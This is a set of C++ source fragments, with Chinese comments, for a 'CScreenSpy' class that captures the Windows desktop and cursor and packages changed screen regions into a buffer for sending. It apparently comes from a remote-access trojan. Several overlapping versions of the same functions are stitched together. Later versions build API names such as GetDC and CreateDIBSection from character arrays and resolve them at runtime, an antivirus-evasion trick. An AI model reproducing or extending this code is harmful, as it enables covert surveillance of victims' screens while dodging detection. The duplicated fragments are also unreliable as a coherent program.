LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes) { static LONG nOldCursorPosY = 0; if (lpdwBytes == NULL || m_rectBuffer == NULL) return NULL; SelectInputWinStation(); // 重置rect缓冲区指针 m_rectBufferOffset = 0; // 写入使用了哪种算法 WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); // 写入光标位置 POINT CursorPos; GetCursorPos(&CursorPos); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); // 写入当前光标类型 BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex(); WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); // 差异比较算法 if (m_bAlgorithm == ALGORITHM_DIFF) { // 分段扫描全屏幕 ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); *lpdwBytes = m_rectBufferOffset + Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage); return m_rectBuffer; } // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描 // 向上提 int nHotspot = max(0, CursorPos.y - DEF_STEP); for ( int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; i < m_nFullHeight; i += DEF_STEP ) { if (ScanChangedRect(i)) { i += DEF_STEP; } } nOldCursorPosY = CursorPos.y; m_nStartLine = (m_nStartLine + 3) % DEF_STEP; *lpdwBytes = m_rectBufferOffset; // 限制发送帧的速度 while (GetTickCount() - m_dwLastCapture < m_dwSleep) Sleep(10); InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount()); return m_rectBuffer; }
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } if (!SelectInputWinStation()) { m_hDeskTopWnd = GetDesktopWindow(); m_hFullDC = GetDC(m_hDeskTopWnd); } m_dwLastCapture = GetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); m_hLineMemDC = ::CreateCompatibleDC(NULL); m_hRectMemDC = ::CreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); ::SelectObject(m_hFullMemDC, m_hFullBitmap); ::SelectObject(m_hLineMemDC, m_hLineBitmap); ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_rectBufferOffset = 0; }
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes) { if (lpdwBytes == NULL || m_rectBuffer == NULL) return NULL; SelectInputWinStation(); m_rectBufferOffset = 0; // 写入光标位置 POINT CursorPos; GetCursorPos(&CursorPos); memcpy(m_rectBuffer + m_rectBufferOffset, (LPBYTE)&CursorPos, sizeof(POINT)); // rectBuffer 偏移增量 m_rectBufferOffset += sizeof(POINT); LPDWORD p1, p2; int j; for (int i = m_nStartLine; i < m_nFullHeight; i += DEF_STEP) { ::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, i, SRCCOPY); // 0 是最后一行 p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - i) * m_nFullWidth * m_biBitCount / 8)); p2 = (PDWORD)m_lpvLineBits; ::SetRect(&m_changeRect, -1, i - DEF_STEP, -1, i + DEF_STEP * 2); j = 0; while (j < m_nFullWidth) { if (*p1 != *p2) { if (m_changeRect.right < 0) m_changeRect.left = j - OFF_SET; m_changeRect.right = j + OFF_SET; } p1++; p2++; j += m_nIncSize; } if (m_changeRect.right > -1) { m_changeRect.left = max(m_changeRect.left, 0); m_changeRect.top = max(m_changeRect.top, 0); m_changeRect.right = min(m_changeRect.right, m_nFullWidth); m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight); // 复制改变的区域 CopyRect(&m_changeRect); i += DEF_STEP; } } m_nStartLine = (m_nStartLine + 3) % DEF_STEP; *lpdwBytes = m_rectBufferOffset; // 限制发送帧的速度 while (GetTickCount() - m_dwLastCapture < m_dwSleep) Sleep(1); InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount()); return m_rectBuffer; }
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate) { switch (biBitCount) { case 1: case 4: case 8: case 16: case 32: m_biBitCount = biBitCount; break; default: m_biBitCount = 8; } char DYrEN66[] = {'G','e','t','D','C','\0'}; GetDCT pGetDC=(GetDCT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN66); char DYrEN67[] = {'G','e','t','D','e','s','k','t','o','p','W','i','n','d','o','w','\0'}; GetDesktopWindowT pGetDesktopWindow=(GetDesktopWindowT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN67); if (!SelectInputWinStation()) { m_hDeskTopWnd = pGetDesktopWindow(); m_hFullDC = pGetDC(m_hDeskTopWnd); } m_dwBitBltRop = SRCCOPY; char DYrEN68[] = {'G','e','t','S','y','s','t','e','m','M','e','t','r','i','c','s','\0'}; GetSystemMetricsT pGetSystemMetrics=(GetSystemMetricsT)GetProcAddress(LoadLibrary("USER32.dll"),DYrEN68); char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'}; GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70); m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法 m_dwLastCapture = pGetTickCount(); m_nMaxFrameRate = nMaxFrameRate; m_dwSleep = 1000 / nMaxFrameRate; m_bIsGray = bIsGray; // m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN); // m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); m_nFullWidth = pGetSystemMetrics(SM_CXSCREEN); m_nFullHeight = pGetSystemMetrics(SM_CYSCREEN); m_nIncSize = 32 / m_biBitCount; m_nStartLine = 0; char DYrEN75[] = {'C','r','e','a','t','e','C','o','m','p','a','t','i','b','l','e','D','C','\0'}; CreateCompatibleDCT pCreateCompatibleDC=(CreateCompatibleDCT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN75); // m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC); // m_hLineMemDC = ::CreateCompatibleDC(NULL); // m_hRectMemDC = ::CreateCompatibleDC(NULL); m_hFullMemDC = pCreateCompatibleDC(m_hFullDC); m_hDiffMemDC = pCreateCompatibleDC(m_hFullDC); m_hLineMemDC = pCreateCompatibleDC(NULL); m_hRectMemDC = pCreateCompatibleDC(NULL); m_lpvLineBits = NULL; m_lpvFullBits = NULL; m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1); m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight); m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1); char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'}; CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72); // m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); // m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); // m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); m_hLineBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL); m_hFullBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL); m_hDiffBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL); char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'}; SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80); // ::SelectObject(m_hFullMemDC, m_hFullBitmap); // ::SelectObject(m_hLineMemDC, m_hLineBitmap); // ::SelectObject(m_hDiffMemDC, m_hDiffBitmap); pSelectObject(m_hFullMemDC, m_hFullBitmap); pSelectObject(m_hLineMemDC, m_hLineBitmap); pSelectObject(m_hDiffMemDC, m_hDiffBitmap); char DmDjm02[] = {'S','e','t','R','e','c','t','\0'}; SetRectT pSetRect=(SetRectT)GetProcAddress(LoadLibrary("USER32.dll"),DmDjm02); // ::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); pSetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight); // 足够了 m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2]; m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight; m_rectBufferOffset = 0; }
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes) { static LONG nOldCursorPosY = 0; if (lpdwBytes == NULL || m_rectBuffer == NULL) return NULL; SelectInputWinStation(); // 重置rect缓冲区指针 m_rectBufferOffset = 0; // 写入使用了哪种算法 WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm)); // 写入光标位置 POINT CursorPos; char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'}; GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58); pGetCursorPos(&CursorPos); WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT)); // 写入当前光标类型 BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex(); WriteRectBuffer(&bCursorIndex, sizeof(BYTE)); // 差异比较算法 if (m_bAlgorithm == ALGORITHM_DIFF) { // 分段扫描全屏幕 ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight); *lpdwBytes = m_rectBufferOffset + Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage); return m_rectBuffer; } // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描 // 向上提 int nHotspot = max(0, CursorPos.y - DEF_STEP); for ( int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; i < m_nFullHeight; i += DEF_STEP ) { if (ScanChangedRect(i)) { i += DEF_STEP; } } nOldCursorPosY = CursorPos.y; m_nStartLine = (m_nStartLine + 3) % DEF_STEP; *lpdwBytes = m_rectBufferOffset; char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'}; GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70); // 限制发送帧的速度 char FBwWp25[] = {'S','l','e','e','p','\0'}; SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25); while (pGetTickCount() - m_dwLastCapture < m_dwSleep) pSleep(1); char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'}; InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21); pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount()); return m_rectBuffer; }